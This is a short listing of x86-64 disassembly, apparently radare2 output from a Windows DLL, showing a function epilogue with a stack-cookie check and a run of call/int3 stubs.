add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800026b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.180002d30
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.180002d10
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800011b0
int3
call fcn.180001110
int3
call fcn.180001110
int3
call fcn.180001110
int3
call fcn.180001110
int3
call fcn.180001110
int3
call fcn.1800011b0
int3
call fcn.180001110
int3
call fcn.1800011b0
int3
call fcn.1800011b0
int3
call fcn.1800011b0
int3